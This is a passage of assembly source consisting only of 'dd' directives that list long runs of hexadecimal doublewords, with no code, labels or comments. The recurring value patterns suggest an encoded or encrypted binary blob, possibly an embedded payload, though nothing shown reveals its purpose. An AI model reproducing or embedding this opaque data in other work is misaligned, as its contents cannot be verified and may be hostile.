0B06DCCDEh, 0EED187C9h dd 74A7CF69h, 2F54A7BFh, 0ED931722h, 750658CDh, 0AE96CF54h dd 2BE8D193h, 0E6D91E53h, 0A8E30153h, 0E0605432h, 3683A7F4h dd 75301722h, 1AB55DB2h, 7D07928Dh, 0C1794F0Bh, 15661CDBh dd 2ED54432h, 4675DA44h, 1DD6C05Dh, 0A09971A5h, 13769577h dd 9FE3C9CBh, 756031B7h, 0AA692480h, 0C599E9CBh, 156CC83Dh dd 73062232h, 0A3ACC8B3h dd 74960354h, 3AD3C1BBh, 45062422h, 4B7FDCB2h, 8EBB60B3h dd 0D3077512h, 545C7B7h, 58F5634h, 0E4668832h, 0EE314CC2h dd 0D02EAF22h, 51550C24h, 7D3D75D3h, 94BA5448h, 8CD3DDCEh dd 0FC600126h, 1566883Eh, 0F392868h, 6488771Fh, 2E59B6C1h dd 0E6D8EE52h, 90EB25ACh, 13761800h, 15709B3Dh, 0FC068832h dd 1566443Dh, 0A8DBC8CDh, 0A9E4C5D4h, 7F7C82F6h, 742DAB09h dd 1A9FF2CDh, 156607BBh, 15776132h, 29EB4432h, 0E68AE65Ch dd 923B0282h, 0ECBC8517h, 9CD4AB9Eh, 57C53B7h, 1DEB1E34h dd 75668832h, 3EC5FB54h, 0D3077862h, 545F4B7h, 7D9ACF34h dd 9F69F1D0h, 156AA73Dh, 99691132h, 15668834h, 1566C23Dh dd 0A0992232h, 137605ABh, 1572003Dh, 1A8F4432h, 89662232h dd 6CA2D09Ah, 0DEEB6D07h, 96199411h, 90EBFD7Bh, 13762B00h dd 156685DBh, 0C0EAB732h, 703498AAh, 1EEFBD01h, 0C599B3A3h dd 0A2691252h, 9C077DF8h, 2C37FB7h, 19E28734h, 1A664432h dd 156624B0h, 15E81E32h, 75668832h, 15664DDBh, 8AC47F32h dd 5D653E1Bh, 75373359h, 0D2071F53h, 54157B7h, 15666934h dd 0AA69E832h, 93C6FEFCh, 75072533h, 8490A954h, 74A40354h dd 250BF9B1h, 1A662422h, 157F18B6h, 90A07032h, 137667D7h dd 1D8E427Eh, 0F4661132h, 91611C80h, 0A4C2B1EEh, 108F7A84h dd 0D6661132h, 623DAE03h, 98F2C53h, 9F06FBE8h, 74A49ACFh dd 1FF3DCDh, 989F4222h, 55C10B7h, 156AF834h, 1C8F8832h dd 0CF69A6Eh, 0D7D24971h, 0C5999B71h, 156686DBh, 0CEA27F32h dd 0E8FE7CC0h, 0B6A67C3Eh, 9CF05917h, 2C31EB7h, 9CD94234h dd 1A3D9777h, 0D3074685h, 545A1B7h, 9E066E34h, 1576F8EAh dd 41008832h, 2169DC02h, 60E05B15h, 482CE0F7h, 7D07040Ah dd 0C8129AFCh, 10E52D52h, 73661132h, 6445EB3h, 156656DBh dd 0F1F32932h, 32C48463h, 4AA54E75h, 131E02D9h, 74364C22h dd 1FFA4CDh, 68F8E22h, 0E1664432h, 6349744Ch, 0DC32B468h dd 7F015869h, 0FC265154h, 90EBC4DEh, 13762B00h, 0D2E7E8C7h dd 157F9C3Dh, 0EA079982h, 128E71E2h, 0C668832h, 6B4D009Fh dd 31D3F5F1h, 9969706Ch, 15668833h, 4BE3CDC7h, 0EC603597h dd 368394F4h, 0FC2A8E22h, 15664437h, 0B268C894h, 1561F822h dd 0C0CF8832h, 6BFA1421h, 97594A7Ch, 0E006A6B3h, 15669CDAh dd 0E6D6D732h, 5836E886h, 0D33F5342h, 0B9B3C04Fh, 0C3753779h dd 0C4E744CBh, 7439536Eh, 156687DBh, 0D0A5F032h, 4F72AB0Dh dd 6F7A3C59h, 0E0ADB7C5h, 1FFF1CDh, 73062422h, 0F3A5FEB3h dd 74B50354h, 2F54C1BFh, 1A062422h, 1B8FD685h, 47668832h dd 313CFB10h, 0CAE0D1A8h, 52734630h, 198FE976h, 0D2664432h dd 5C615D06h, 0E247B59h, 0EAAD2778h, 9C9EBCE2h, 2C340B7h dd 7E11E34h, 0FC668832h, 1566443Fh, 1C873A56h, 0EEC690F6h dd 0E9477609h, 90A0B8C6h, 137601D7h, 19EF1E7Eh, 1A668832h dd 156642BFh, 15EA2D32h, 1A661132h, 156689BEh, 0D0EBD32h dd 0E9D50D72h, 1FFA4CDh, 989E8E22h, 55C76B7h, 156FCB34h dd 8CC1132h, 0E1C8CFCDh, 0FC49124Ch, 15662238h, 0C657B79Bh dd 0A2C1F388h, 0C59985CFh, 15662ADBh, 0F43C7B32h, 0A9B07409h dd 77E3CDEAh, 75603597h, 45B59A54h, 15669CDBh, 68108C32h dd 1E7A8E0Ah, 0DAC821A8h, 8FC5F782h, 55B7032Ah, 75077AE7h dd 1563F862h, 0FC378832h, 4D40ACF1h, 0D307E9B9h, 545F4B7h dd 7593CE34h, 156641DBh, 65F55D32h, 58F5CDAh, 0C3668832h dd 29289CA3h, 581C7013h, 3007C30h, 7455598Ah, 0CB60505Ah dd 4A304288h, 74AC9A54h, 1FF3DCDh, 95064222h, 0AC00BDF4h dd 9807C7E3h, 55CBAB7h, 45DF2434h, 1A2310ABh, 156617B1h dd 15EF8732h, 74664432h, 1A8FF2CDh, 72661132h, 2F33D916h dd 5546A68Dh, 0CECEE478h, 90EF5364h, 13712D58h, 0AB9CCF52h dd 5A2A0FE8h, 0F0E3D753h, 52609811h, 51C2CCBh, 1A06A3EEh dd 156614BDh, 0CDE7EE32h, 9400FCD7h, 749CDEE1h, 1FFA4CDh dd 0FC068E22h, 15664438h, 317B43F4h, 0D738CDA5h, 9169F6E7h dd 15664430h, 98077861h, 55C23B7h, 15616134h, 10314432h dd 0B5C3CC73h, 75B6EE0Dh, 9C0776B9h, 2C336B7h, 90A0DE34h dd 137632D7h, 15606175h, 1E284432h, 9B129D8Eh, 92E8BD5Ah dd 1FE987DDh, 75664432h, 9E694352h, 15661132h, 8CD37753h dd 75605426h, 15662BDBh, 0EFD0B732h, 0F853F9EAh, 57DE1572h dd 747E9FCDh, 1567903Dh, 989F8832h, 55C76B7h, 156ECB34h dd 5B621132h, 39E46C82h, 0EA9ED8CDh, 12ED2DE2h, 75661132h dd 5A095A8Ch, 90EF252Eh, 13718744h, 0F0E3D7C7h, 52609811h dd 156657DBh, 0D7796E32h, 1AD9ACFEh, 0A6FE8C47h, 0EB63B95h dd 798D9FD2h, 8FC1C35Ah, 0A106E8E6h, 0E6ED2266h, 1EEC2D53h dd 0FD661132h, 15668837h, 2A29459Dh, 75077861h, 6D76D1B3h dd 9E008082h, 0A09925CBh, 137636ABh, 15679D3Dh, 989E8832h dd 55C76B7h, 1DEC2D34h, 1A661132h, 15668AB7h, 0FC072432h dd 1566223Ch, 1CC35018h, 946013D2h, 815725A0h, 0C59987EEh dd 0CEE1ECAh, 0FC668832h, 15664426h, 53D2B7Ch, 8BFFF21Fh dd 837EEB5Eh, 0CC49DB0Ah, 55996269h, 0B01C94BBh, 58F8E25h dd 74664432h, 0F33BA20Ah, 9CB87646h, 3F897CB7h, 0D3969775h dd 545C7B7h, 9E695634h, 15668835h, 1567C83Dh, 7D932232h dd 0AFA72836h, 1573083Dh, 58F4432h, 9A662232h, 5C2DA33Ch dd 39547F45h, 850DBDh, 0E0A62FE9h, 1FFA4CDh, 989E8E22h dd 55C76B7h, 13EB2D34h, 75661132h, 0ED96373Dh, 0EDB6BB53h dd 0B018A7BBh, 969E1725h, 577498Fh, 90694434h, 15662291h dd 1560903Dh, 0E9068832h, 74E5A6B2h, 3683A7F4h, 0FC211722h dd 15668820h, 59F00070h, 29EFB5D5h, 881DD9F8h, 0AB1E0625h dd 720E46DBh, 1A86501Fh, 156619BAh, 9C69E832h, 15664432h dd 8CD3DD53h, 0FC600126h, 1566883Fh, 7F103BEFh, 7579981Dh dd 0B85CE2BCh, 7EC8715h, 0FC664432h, 1566223Fh, 2A7A311Ch dd 272CCC74h, 38F942B3h, 27E3AF7Ah, 1A600108h, 156684BCh dd 13E84B32h, 1A662232h, 156611BCh, 1DE48732h, 1A664432h dd 156620BDh, 0EA077132h, 99D7E8E2h, 0EC07AFB8h, 0B0E4A7BBh dd 0D39E1725h, 5456DB7h, 93690334h, 1566222Ah, 1568F952h dd 1E028832h, 545DF0D0h, 2F10ED76h, 7482F460h, 7407E86Ch dd 3CD5F55Ah, 1B8E42BCh, 31661132h, 0BB3F9241h, 12D82AE4h dd 0E34DDE2Ch, 0AC0049EEh, 0ED0741BCh, 1FFF1CDh, 188F2422h dd 45661132h, 5F93EA89h, 0F405C74Bh, 823B150h, 2F5494BFh dd 9E698E22h, 1566442Ah, 1576CA52h, 5D131132h, 0BFC587EFh dd 0B5053030h, 9817627Fh, 743DCC2Dh, 108F58CDh, 0CF664432h dd 568FF39Ch, 0B0E094BBh, 0D39E8E25h, 545A1B7h, 18F6134h dd 13661132h, 7990739Fh, 67DE2549h, 90ABCE0Ch, 0EC6B9B42h dd 7D4AD94Fh, 0D5100E95h, 1568AA3Dh, 1C8F1132h, 61668832h dd 0C1077B1Fh, 3C815C55h, 1FFA4CDh, 108F8E22h, 69664432h dd 0F375E168h, 2F5494BFh, 98698E22h, 15664433h, 0FCB6DDCBh dd 1566113Dh, 19E94142h, 804893D5h, 4EA8523Bh, 9C68226Dh dd 2C302B7h, 1560AD34h, 2C672232h, 6763EF05h, 36830DF4h dd 0EC2A4222h, 730AC95Ah, 0A099E9C9h, 1376A8D7h, 156650DBh dd 4E992332h, 615750CCh dd 5719019Ah, 0BA5843ACh, 0C7331BCDh, 27E39CC6h, 0ED609808h dd 9C9A94CDh, 2C03CB7h, 1574F834h, 7B338832h, 70D55271h dd 0F0B66B78h, 2D641748h, 0B156F899h, 3683C1F4h, 75222422h dd 15729B3Dh, 1B8E8832h, 65664432h, 0EB52AACCh, 81A34756h dd 936B11B2h, 188E1DF3h, 15662232h, 30E22FE8h, 0E759A01Eh dd 0CD825208h, 74387B61h, 156601DBh, 18B0932h, 7CEDCE6Ch dd 0AAE950C9h, 5CB62C93h, 9B33E06Ch, 0EA93FF41h, 572BB87h dd 12EA1E34h, 1A668832h, 156645BFh, 90EBD732h, 13762B00h dd 156686DBh, 3BA39432h, 0D4025D69h, 0D385B5DAh, 75617165h dd 7531FE80h, 0EA077A53h, 1A9E71E2h, 15668AB1h, 74072432h dd 0B0E8A7BBh, 68F1725h, 8C668832h, 60B307B1h, 0AF6A76E0h dd 0B56777ECh, 4FFEFD49h, 1A065BC5h, 156626B0h, 3DE7732h dd 0FBE7EE05h, 0D307C20Bh, 545C7B7h, 7D9F5234h, 0A9E8E6CEh dd 5E04B52h, 0FD662232h, 15661138h, 0C1B47DC8h, 92448E6Ch dd 733E8452h, 0FEA9D1B3h, 8CD37753h, 0E0605426h, 2F54A7BFh dd 1A8F1722h, 0B1668832h, 1AB5157h, 0B7D544Ch, 50FB201Ah dd 0C5999995h, 7380CE52h, 7E86E2B3h, 9AD87153h, 0FD02471Ah dd 15664437h, 12465D05h, 9C0749B2h, 2C31AB7h, 1569AD34h dd 0EAD42232h, 0FBC17DF0h, 8B556701h, 8C82A34h, 0F0E3E469h dd 46600111h, 15776052h, 250B4432h, 44B12229h, 1FA7E774h dd 3830B427h, 4ED834ABh, 4AA4A965h, 2BCC7953h, 0EA9A4E22h dd 572DD87h, 19E02D34h, 1A661132h, 15668EB6h, 15EA4B32h dd 98662232h, 55C23B7h, 15606134h, 0A9684432h, 3B30CD62h dd 9969C1CDh, 1566883Ah, 0EBED2252h, 74B0A954h, 0B0F094BBh dd 92698E25h, 15664433h, 36D742CEh, 15E21E52h, 74668832h dd 0BCDBC753h, 15603200h, 164C953Dh, 75068832h, 43949DB2h dd 0AA00436Bh, 0D3079374h, 5456DB7h, 92690234h, 15662225h dd 1577923Dh, 198F8832h, 0AA664432h, 8A8783Bh, 16B55909h dd 7516CDBEh, 9D7FFD52h, 749E79D2h, 156603DBh, 7F203532h dd 0D339CC6Dh, 0C83AD499h, 0F1FF2889h, 745D8ED7h, 83A8755Ah dd 14E42DC8h, 0E0661132h, 1FF3DCDh, 94694222h, 1566223Ah dd 15649A3Dh, 74068832h, 2F54C1BFh, 1A8F2422h, 6F661132h dd 0B4692357h, 6679075Fh, 262F9D95h, 9169C282h, 15668822h dd 156CC63Dh, 108F2232h, 8C661132h, 0C88C177Fh, 950694CDh dd 9400F8F2h, 74798BC2h, 0B0940DBBh, 198F4225h, 60662232h dd 41144FFEh, 0E2D72BDEh, 0D3392F8Eh, 545C7B7h, 0FC9E5734h dd 15668838h, 722D6421h, 0DB3C2B8Dh, 0C30E2A2Fh, 1A9A2F08h dd 156648B7h, 13EA2D32h, 1A661132h, 156688B0h, 8CD3BB32h dd 0FC603226h, 1566113Ch, 0FCF1CF1Ch, 0AF2049EBh, 34BD8B42h dd 7506E705h, 652F438Dh, 1C8E2571h, 0E5662232h, 64544BD7h dd 9EE5A9DDh, 1566C13Dh, 74392232h, 2F5494BFh, 0AB068E22h dd 374D6497h, 21B0A354h, 0C599701Fh, 1567063Dh, 9C9E4432h dd 2C020B7h, 90A0E934h, 1376ABD7h, 150EB874h, 1AF4DE96h dd 156610B6h, 0EA9E7032h, 572DD87h, 156ECB34h, 67CC1132h dd 20E7BBFAh, 90EB03CFh, 13761800h, 156618DBh, 0A67E3E32h dd 46170A15h, 0C5992317h, 1AF9A252h, 9C07718Dh, 2C042B7h dd 14E42D34h, 0EC661132h, 36830DF4h, 75204222h, 74A9A954h dd 0C1297B5Ah, 156961C4h, 25384432h, 7A5C0710h, 3793DB91h dd 4815358Ah, 8CD3BB15h, 75603226h, 19DFBB80h, 7403D5D1h dd 27E3C9C7h, 75603208h, 0EA07EBB9h, 1FE187E2h, 0FC664432h dd 15662237h, 0B15780D3h, 1FE30168h, 0E9605394h, 3683A7F4h dd 1A201722h, 15668FB8h, 0A2692432h, 74B894CCh, 0D836F65Ah dd 0FC93E8A6h, 15664434h, 36925B97h, 0FC0711B9h, 15668837h dd 5E2F63B6h, 8CD3DD8Ch, 75600126h, 2BB3EF8Dh, 0C3E72275h dd 1A07046Ah, 156619BAh, 17E68732h, 75664432h, 27E3AF53h dd 0E0600108h, 1D8F58CDh, 0A1664432h, 8BC4A078h, 1AF418D5h dd 156689B0h, 90EFBC32h, 137187C4h, 0E7E77752h, 0D3073C20h dd 545A1B7h, 1C8F6434h, 12661132h, 70622896h, 0E5FC0F87h dd 3712195Ah, 0E4ED7183h, 0A0997153h, 137650ABh, 27E3AFCAh dd 1A600108h, 156689BAh, 1C8FB832h, 61662232h, 704B3BAFh dd 6FDD8036h, 48F94CDh, 0A5662232h, 4F3BDD50h, 34FF9488h dd 0A83F6F37h, 1BE651D8h, 0EFE398C7h, 1A609F97h, 156645B5h dd 9C69DB32h, 15661124h, 156699DBh, 46725432h, 0BD9C04ACh dd 0F47F5F2Dh, 0FB6C880Ah, 90A07F2Ah, 137601D7h, 0B3DC7174h dd 0EC1A4BB6h, 0FF8B2C53h, 0EA9FFD4Bh, 5728887h, 4F36E834h dd 9807AAB8h, 55C10B7h, 0C599E834h, 64A40852h, 0EBE3CD53h dd 0ED603597h, 4A7ACB1h, 1A668E22h, 156618B7h, 0D39ADB32h dd 545F4B7h, 7506DB34h, 74B5FB3Dh, 7D07C987h, 0DBD8F16Ch dd 15670A3Dh, 0EA934432h, 572BB87h, 188FED34h, 2B668832h dd 49CD3078h, 9960752h, 668773DDh, 2F540DBFh, 108F4222h dd 0E5662232h, 0EA4403A3h, 730658CDh, 43B9C28Bh, 9BA69D54h dd 90EF706Ch, 13712DA8h, 0F0E382C7h, 52603211h, 0E7ED7752h dd 0FF2441B3h, 7D0727A8h, 0D2D77CB5h, 156617DBh, 5FB54932h dd 0EA08FA45h, 572BB87h, 11EF1E34h, 75668832h, 98072552h dd 55C10B7h, 5E71E34h, 0FC668832h, 15664439h, 2104EA89h dd 0A676B0DAh, 0ED105F0Dh, 1E8F94CDh, 0A3662232h, 2017C9C8h dd 6C37C8DFh, 9169F1CAh, 1566223Dh, 15661BDBh, 6C85C532h dd 172AA7F8h, 9C799C84h, 2C38FB7h, 156B6134h, 6CD84432h dd 6FCFA36Dh, 0DCF136C0h, 750E5CA6h, 15664BDAh, 0BB4C0632h dd 2978D6D3h, 1E50CEA3h, 98EAEFF6h, 753EC4B8h, 156605DAh dd 102A9432h, 0A3D6549Ah, 0A482D72Eh, 3DD17DC0h, 0D7BB65B2h dd 98691CA0h, 15662232h, 0A8E57053h, 137699F3h, 9CE34B32h dd 75662232h, 0DAED4087h, 0F0E34E53h, 52605411h, 6B634ACAh dd 0AB06F750h, 5D89A9EAh, 15664ADBh, 14D67332h, 0FA140AF8h dd 1CFF3CAAh, 74D5DB9Eh, 1FF97CDh, 75061722h, 18F78B9h dd 1664432h, 4C741C72h, 0ADD56A84h, 24C28EF6h, 36552673h dd 747C5F4Ah, 74BFAE3Dh, 2F540DBFh, 58F4222h, 0E7662232h dd 0B0F0AE3Ch, 0CBAC8AEAh, 85ED5704h, 0EA24169Eh, 156DF8E2h dd 84A88832h, 0FA5D7D2h, 7EB68D3Bh, 0B7E39851h, 0E0609F97h dd 3683C1F4h, 1A252422h, 156607B8h, 15776132h, 49254432h dd 0C20191EAh, 9DCAD59Ch, 3FAE0B0h, 7DE20D54h, 871C2BC4h dd 0E6ECE452h, 8CD37753h, 0FC605426h, 1566223Eh, 8E75A38h dd 9ECF0836h, 5A455C74h, 1569CA52h, 0E10F1132h, 505F87E1h dd 97E06869h, 99CAAAB4h, 4BA19A6Eh, 0D1AF59B3h, 9807365Ah dd 55C10B7h, 0C599E434h, 0B3E301CAh, 0EC605397h, 3683A7F4h dd 1A251722h, 156684BBh, 13E74B32h, 1A662232h, 156611B9h dd 8246E032h, 9269B813h, 15662233h, 8CD3EEC7h, 1A609826h dd 15665EB1h, 1E72D32h, 0FC661132h, 1566883Dh, 6753304Eh dd 0EBD394Bh, 587E913Fh, 0E09B209Ah, 2F54C1BFh, 0FC062422h dd 15661139h, 4CCD5757h, 7CCC9C0Fh, 0AB313096h, 4387E6BAh dd 1AB67753h, 15664EBBh, 1563CB32h, 0C71B1132h, 9C921F5Eh dd 2C3EEB7h, 11EB2D34h, 75661132h, 96075EB9h, 577858Fh dd 90692234h, 15661014h dd 15669BDBh, 57BCE832h, 798C6E19h, 145B493Dh, 0E9B240FFh dd 1334118Bh, 3683A7F4h, 1A251722h, 15669AB2h, 156BAD32h dd 0A8E62232h, 8787E2F9h, 3054EEB3h, 7D8783F8h, 9E668A31h dd 156616DBh, 0A0529D32h, 0B2FE1C36h, 1FF97CDh, 73061722h dd 980743B9h, 55C76B7h, 34D84234h, 7342D09Ah, 745E1688h dd 9C6994CDh, 1566223Eh, 1560933Dh, 99698832h, 15664432h dd 0B0D4A7BBh, 0D3931725h, 5456DB7h, 78F0734h, 5662232h dd 0D4F387DDh, 0E0D0631Dh, 87F1674h, 8D98221Eh, 23B379AFh dd 95696D69h, 1566443Ch, 15662BDBh, 0DA2E6632h, 2A6A2F18h dd 0EA9E6E44h, 572BB87h, 156FF834h, 0E6A48832h, 5541217Ch dd 980A36F9h, 55C23B7h, 0EA9A7034h, 0F5E724E2h, 3380FB9Bh dd 0FC07FEB8h, 15668839h, 894918BAh, 0F4627E1Dh, 9C88810Fh dd 2C326B7h, 90692434h, 15662226h, 15661EDBh, 6AE68232h dd 137211C1h, 616B6546h, 411813F6h, 156698DBh, 6709A732h dd 0ABFAB2E9h, 25252197h, 53BFA823h, 90A025FCh, 137601D7h dd 0F40EE471h, 758C2200h, 8F87C560h, 4F01A506h, 156617DAh dd 1BA71A32h, 0FC30103Eh, 15662234h, 3687A30Eh, 743F9D14h dd 1FFF1CDh, 1F8F2422h, 0BB661132h, 2F38CC78h, 76D26ED8h dd 27E3AF52h, 0E9600108h, 156F6152h, 39D94432h, 0BA06A418h dd 73595E33h, 0DB7362B3h, 75B6BB53h, 775A118Bh, 0A4D87762h dd 90EFE9DAh, 1371E184h, 90A0DBCAh, 137632D7h, 0CEB8771h dd 0FC664432h, 15662226h, 997BA8C6h, 681040EDh, 1E7AE80Ah dd 0DAC812A8h, 8FC56E82h, 0E4CABF5Ah, 10EB4BB6h, 75662232h dd 74A5AE3Dh, 1FF3DCDh, 98934222h, 55C10B7h, 0C599ED34h dd 0AFE301CBh, 1A605397h, 156626B2h, 0CDED7132h, 0F0E34E53h dd 5A605411h, 0DAD12D52h, 1564973Dh, 4B368832h, 0C10EBC53h dd 0FCF117A2h, 1566113Ch, 98820912h, 0E310A7E6h, 37EE6E83h dd 9469FAFFh, 15668833h, 8CD3BBC7h, 75603226h, 15E01E52h dd 1A668832h, 156644BAh, 0FC064332h, 1566113Ah, 417664E1h dd 767F34F8h, 0C8B4638Ch, 0ED07703Fh, 2F540DBFh, 0EA934222h dd 14EB2DE2h, 0ED661132h, 0B0D80DBBh, 99694225h, 15662233h dd 0FC0671CBh, 15668821h, 0E24EF0EBh, 3C69616Fh, 30B3E2CDh dd 0E314E821h, 73BAFD67h, 742E198Ah, 15669A3Dh, 0D3078832h dd 545A1B7h, 98696D34h, 1566112Ah, 15669BDBh, 9E6CF332h dd 14C197DBh, 652EF325h, 4B4D6C45h, 0D9E22A5h, 7B68205Ah dd 0A099E8CBh, 13769CABh, 1572CE3Dh, 0FC062232h, 1566113Fh dd 0F7D36AA0h, 45EEFE1Ch, 5F934089h, 90EB704Bh, 1376B200h dd 0EDB6BBCBh, 15662CDBh, 9E486432h, 0CD9F669Fh, 59C78814h dd 9C7689AAh, 2C3D3B7h, 57D0E834h, 0FAA9C552h, 755255ECh dd 0D3077053h, 5456DB7h, 94060934h, 0B28BDBFCh, 94004250h dd 4E7B34E0h, 6C2F2C53h, 9569EA05h, 15661135h, 1567053Dh dd 0EA934432h, 572BB87h, 90EBE934h, 1376B200h, 4AD82252h dd 0E6E7448Ch, 0EA07FDD3h, 90EF7DE2h, 1371E1F8h, 0F0E3E4CAh dd 58600111h, 15668FDBh, 0E3961B32h, 0C6F7D149h, 0E22B985Ah dd 1BE187EEh, 0FC664432h, 1566223Bh, 84ADFA00h, 45E75C49h dd 12EC4B08h, 75662232h, 0CCE64A61h, 0A099E93Fh, 137650ABh dd 1567AF3Dh, 98931132h, 55CBAB7h, 0FC362434h, 1566223Eh dd 52C96758h, 52F2FAACh, 50270EDFh, 15ED2D6Bh, 74661132h dd 976958CDh, 1566442Bh, 156636DBh, 0DB47F132h, 0B0FB5948h dd 2ECD55AFh, 585BCEFCh, 0C353B149h, 0D3E30189h, 0E0605397h dd 3683A7F4h, 0EC331722h, 0E4BBF5Ah, 14E04BAEh, 0E0662232h dd 1FFA4CDh, 1F8F8E22h, 26664432h, 40E24CCEh, 5DC0AF4Dh dd 27E305E6h, 0E0605408h, 9C9EF2CDh, 2C3DFB7h, 1C8FE834h dd 0E7664432h, 0A9DC5893h, 5AC1126Eh, 1572023Dh, 1A8F4432h dd 3F662232h, 9E20ADD6h, 1CA3F537h, 0B107EBF2h, 0FC07D838h dd 1566113Fh, 31A65071h, 98E71F3Ah, 676D769Dh, 0F0E3D74Dh dd 56609811h, 3F0EBDC7h, 0FCB4F7C2h, 1566113Eh, 9A9AEAB2h dd 8DFD26ABh, 0F0D991A2h, 1FFA4CDh, 78F8E22h, 2B664432h dd 5AA42A27h, 5AE6AB44h, 1E2B4576h, 7DBD587h, 27E3AF24h dd 0FC600108h, 15668826h, 27C24DB3h, 7228A759h, 96E04E7Ah dd 4C893134h, 8C2D269Bh, 68FF2CDh, 9C661132h, 183142A7h dd 825766B6h, 92C21E11h, 0F9E435F0h, 90EF3103h, 1371E1E0h dd 0DCAEA352h, 0FD52B36Ah, 15668839h, 0C2FBFF43h, 0E541B776h dd 7374491Ch, 743E70B9h, 3683C1F4h, 75342422h, 1C84E0B3h dd 9C698AE3h, 15664436h, 0DAF19954h, 0A18C7953h, 0EA9F7570h dd 572DD87h, 1561CB34h, 0A8331132h, 967E2EBCh, 27E3C9C2h dd 1A603208h, 15661DB3h, 13EF8732h, 1A664432h, 156622B1h dd 0EDB6EE32h, 7CE301CEh, 1A60543Fh, 156631BEh, 1568F832h dd 7D5E8832h, 4D594A40h, 6AFEA2BFh, 2F8ED6A9h, 1570083Dh dd 9E694432h, 15662222h, 15661ADBh, 0ABF42432h, 0D61DE271h dd 632EAAF0h, 368394F4h, 75218E22h, 0FC06ABB8h, 1566223Ah dd 57C0796Eh, 58005ACDh, 9E86C554h, 7D074399h, 0F7FE48ABh dd 15670E3Dh, 0EA9E4432h, 572BB87h, 90EBE434h, 1376B200h dd 1567CC3Dh, 1A932232h, 156616BAh, 14E48732h, 0ED664432h dd 128FF2CDh, 9661132h, 0EBE73283h, 90EF0A1Dh, 137187E4h dd 0B0859052h, 7469C7E0h, 13EA4B52h, 94662232h, 0D92978D2h dd 48FE800h, 0EB664432h, 7399D4BEh, 4AA1C9E2h, 0B9C99D3Dh dd 7865C6F7h, 15662BDAh, 9FDF6A32h, 5352983Eh, 743ED181h dd 0F0E3E453h, 52600111h, 75A4E0CEh, 0ED06F5CFh, 4290A354h dd 0A0997016h, 13769CABh, 157CCD3Dh, 75062232h, 1576F953h dd 94B98832h, 0BF276D1Bh, 0D8C74D9Ah, 0D0CB91DAh, 74385C4Bh dd 2F54C1BFh, 94062422h, 0CB6211D3h, 156F6141h, 79434432h dd 1218A5A2h, 74F28A6Ch, 936958CDh, 1566443Eh, 1560A53Dh dd 92691132h, 15668832h, 0B0BCC1BBh, 1F8F2425h, 0F3661132h dd 0C731910Eh, 0C2B4F27Ch, 0F0E3E441h, 52600111h, 0EB72E0CAh dd 9F699B94h, 15662233h, 8CD3EECAh, 0FC609826h, 15664434h dd 81EB0691h, 90EB6BBAh, 1376B200h, 156EC53Dh, 96692232h dd 15661130h, 0C599E952h, 90EFB8CAh, 137187ECh, 156600DBh dd 0CB045232h, 0B99C26ECh, 37949554h, 0B08B492Dh, 90A0775Fh dd 137667D7h, 0D7E7426Dh, 57DB8B7Ch, 749C373Dh, 45942C5Ah dd 7306D7ACh, 0FC4B8D8Bh, 15668835h, 1DB8C0CBh, 74A7C677h dd 1FFA4CDh, 9E698E22h, 15664439h, 0FBA5A352h, 7330879Bh dd 98077BB9h, 55C76B7h, 78FDB34h, 0C6661132h, 95386264h dd 0F0922F31h, 747EC664h, 57BA40Dh, 75B6776Dh, 9400B4B8h dd 74B947DDh, 0B08494BBh, 9A698E25h, 15664433h, 0CEE2DCEh dd 0FC661132h, 15668826h, 9AEDA42Bh, 0FA24948Ch, 0FE483DAh dd 741F5040h, 648C8F7Ch, 3683A7F4h, 0FC291722h, 15668823h dd 538A0DACh, 0B9F5B909h, 0BE7441DBh, 2B6DE8F0h, 6E592C79h dd 0EA9AE5CEh, 5728887h, 156D6134h, 0B23D4432h, 54C90265h dd 46CF29C2h, 27E305EFh, 0EC605408h, 75B6DDCBh, 156618DAh dd 9B63CA32h, 4335ACCh, 74068E21h, 3E51E69h, 0FC668832h dd 15664423h, 1CBD7380h, 9F6AD53Ch, 90F9A6B3h, 5EE7B538h dd 90EF43C4h, 1371B73Ch dd 1561073Dh, 9D694432h, 15662233h, 0F0E3D7CEh, 52609811h dd 156EC53Dh, 95062232h, 0F6E6E5F5h, 590EE94Fh, 759C1F5Ch dd 15662ADBh, 0B0A95832h, 0F0E70B45h, 14EE4B63h, 0E9662232h dd 8CD3EE53h, 0FC609826h, 1566443Dh, 0F917D368h, 0A479403Ch dd 0BFD72409h, 9889DE4Ah, 55C10B7h, 0C599E934h, 156683DBh dd 2CDE932h, 0AB5A62Eh, 159F17F1h, 0B3740DBBh, 9B694225h dd 15662223h, 15661DDBh, 76842032h, 4D853244h, 62D2BC83h dd 0F0E3D74Ah, 52609811h, 0F3E72252h, 976969B4h, 15661130h dd 0FC074EB9h, 15664435h, 0A7D43DCEh, 7DB748F5h, 0D660ACFFh dd 15664DDBh, 0D5103732h, 3912A20h, 90690C6Dh, 15664436h dd 74B5A852h, 1FFA4CDh, 1A938E22h, 156643B2h, 14ED2D32h dd 0E0661132h, 2F540DBFh, 99694222h, 1566223Eh, 86DF7752h dd 0F0AC091Eh, 741B74AFh, 9C93F2CDh, 2C007B7h, 19E98734h dd 75664432h, 66D0228Dh, 99E3A84Bh, 0D3078824h, 545A1B7h dd 99697D34h, 15661135h, 15670D3Dh, 7D9E4432h, 0C1DD42FEh dd 1575F852h, 0B59E8832h, 82F4233Ah, 33CA98B8h, 186C781Ah dd 1BB6C44Bh, 0AF06259Fh, 2AF57212h, 74B8AE3Dh, 1FF3DCDh dd 0EC064222h, 15E12D61h, 4E661132h, 1DEA8753h, 1A664432h dd 156620B8h, 98077132h, 55CBAB7h, 156FAD34h, 93DD2232h dd 8F5056E5h, 0EA658ECFh, 1561ADE2h, 2EA52232h, 61EB9554h dd 0F3E30176h, 0ED605397h, 3683A7F4h, 0E0391722h, 0FC32C65Ah dd 9669B1ACh, 1566223Ah, 1564983Dh, 74068832h, 1FFF1CDh dd 44062422h, 15669E3Dh, 733C8832h, 980782B9h, 55C10B7h dd 0AB007134h, 0EA077B06h, 936924E2h, 15662232h, 6BBC4389h dd 90EFE964h, 1371E1D8h, 90A0D7CEh, 137632D7h, 198FE86Dh dd 4D664432h, 0BD2F50D7h, 5116CEB6h, 1A1A77FEh, 156647B5h dd 0C3D92D32h, 3D2E7953h, 0EA935921h, 572DD87h, 9E004234h dd 90EB70C8h, 1376B200h, 156657DBh, 0A14E0932h, 727AF9DBh dd 174B0184h, 0E6AEF6BFh, 10B7907Eh, 9F69C1CDh, 1566883Dh dd 15664EDBh, 3F9CBA32h, 33637B16h, 9CADEFE5h, 2C3AAB7h dd 156ACB34h, 54C61132h, 0BFD21B71h, 58B2939Fh, 110CB21Eh dd 0EA89052h, 9E292F6Bh, 420625F1h, 1566A63Dh, 0FC3E1132h dd 1566883Eh, 30817EDFh, 